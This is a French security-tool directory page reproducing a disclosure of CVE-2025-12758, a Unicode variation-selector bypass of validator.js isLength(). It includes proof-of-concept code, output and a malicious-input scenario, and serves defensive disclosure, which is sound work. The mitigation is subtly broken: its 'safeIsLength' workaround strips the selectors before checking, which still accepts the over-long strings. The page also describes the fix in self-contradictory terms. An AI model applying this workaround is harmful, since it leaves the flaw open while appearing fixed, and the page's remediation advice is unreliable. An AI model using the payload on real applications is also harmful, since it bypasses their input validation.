Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-12758 — Divulgation détaillée de CVE-2025-12758 avec PoC démontrant le contournement du sélecteur de variation Unicode dans validator.js isLength(), incluant analyse de la cause racine, scénarios d'exploitation et étapes d'atténuation. | Kitploit
Outils/GitHubGitHub/open-flaw/cve-2025-12758
Analyse des VulnérabilitésAnalyse de CodeSécurité WebArticles et RechercheApprentissage et Éducation
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

Divulgation détaillée de CVE-2025-12758 avec PoC démontrant le contournement du sélecteur de variation Unicode dans validator.js isLength(), incluant analyse de la cause racine, scénarios d'exploitation et étapes d'atténuation.

Voir le dépôt
1il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-12758 : Contournement du sélecteur de variation Unicode de isLength() de Validator.js

ID CVE : CVE-2025-12758
Score CVSS : 8.7 (ÉLEVÉ)
Sévérité : ÉLEVÉE
CWE : CWE-792 (Filtrage incomplet d'une ou plusieurs instances d'éléments spéciaux)
Publié : 26 novembre 2025
Divulgué : 19 octobre 2025

Aperçu de la vulnérabilité

Cette vulnérabilité affecte les versions < 13.15.22 du paquet npm validator. La fonction isLength() ne prend pas en compte les sélecteurs de variation Unicode (\uFE0F, \uFE0E) lors du calcul de la longueur d'une chaîne, ce qui conduit à une validation d'entrée incorrecte.

Impact

Une application utilisant isLength() pour la validation d'entrée peut accepter des chaînes bien plus longues que prévu, pouvant entraîner :

  • Troncature de données dans les bases de données
  • Débordements de tampon dans d'autres composants système
  • Attaques par déni de service (DoS)
  • Contournement de la validation d'entrée

Cause racine

La fonction isLength() ne filtre pas correctement les sélecteurs de variation Unicode lors du calcul de la longueur de la chaîne. Ces caractères spéciaux (marques combinantes) ne devraient pas contribuer à la longueur visuelle d'une chaîne mais sont comptés dans la propriété String.length de JavaScript.

Preuve de concept

Configuration

root@kitploit:~
npm install [email protected]
node poc.js

Code

root@kitploit:~
const validator = require('validator');

// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false

// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true

// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!

Sortie

root@kitploit:~
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

La troisième sortie démontre la vulnérabilité : une chaîne de longueur réelle 8 réussit un contrôle de validation pour une longueur maximale de 4.

Scénario d'exploitation

Une application pourrait implémenter une validation de commentaire utilisateur :

root@kitploit:~
const MAX_COMMENT_LENGTH = 100;

function validateComment(comment) {
  return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}

const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️

Correctif

Mettre à jour vers la version 13.15.22 ou ultérieure

root@kitploit:~
npm install [email protected]

La version corrigée gère correctement les sélecteurs de variation Unicode en les excluant des calculs de longueur.

Atténuation alternative (temporaire)

Si vous ne pouvez pas mettre à jour immédiatement, implémentez une validation de longueur personnalisée :

root@kitploit:~
function safeIsLength(str, options = {}) {
  // Remove Unicode variation selectors before validation
  const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
  return validator.isLength(cleanStr, options);
}

Références

  • Base de données de vulnérabilités Snyk : https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
  • GitHub Gist (Preuve originale) : https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
  • PR GitHub (Correctif) : https://github.com/validatorjs/validator.js/pull/2616
  • Fiche CVE : https://www.cve.org/CVERecord?id=CVE-2025-12758

Détection

Vérifiez si votre application est vulnérable :

root@kitploit:~
npm audit --audit-level=high

Recherchez le paquet validator avec une version < 13.15.22.

Crédit

Vulnérabilité découverte par : Karol Wrótniak

Licence

ISC

Télécharger l’outil